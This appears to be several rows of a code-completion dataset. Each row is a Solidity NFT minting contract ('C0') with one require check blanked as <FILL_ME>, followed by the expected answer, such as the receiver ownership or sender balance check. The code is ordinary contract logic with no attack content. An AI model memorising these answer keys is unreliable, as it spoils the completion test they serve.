uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(<FILL_ME>) // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| IRelation(relation.addr).ownerOf(relation.id)==receiver,"9b" | 412,628 | IRelation(relation.addr).ownerOf(relation.id)==receiver |
"10a" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(<FILL_ME>) // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| balanceOf(_msgSender())>=relation.id,"10a" | 412,628 | balanceOf(_msgSender())>=relation.id |
"10a" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(<FILL_ME>) // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
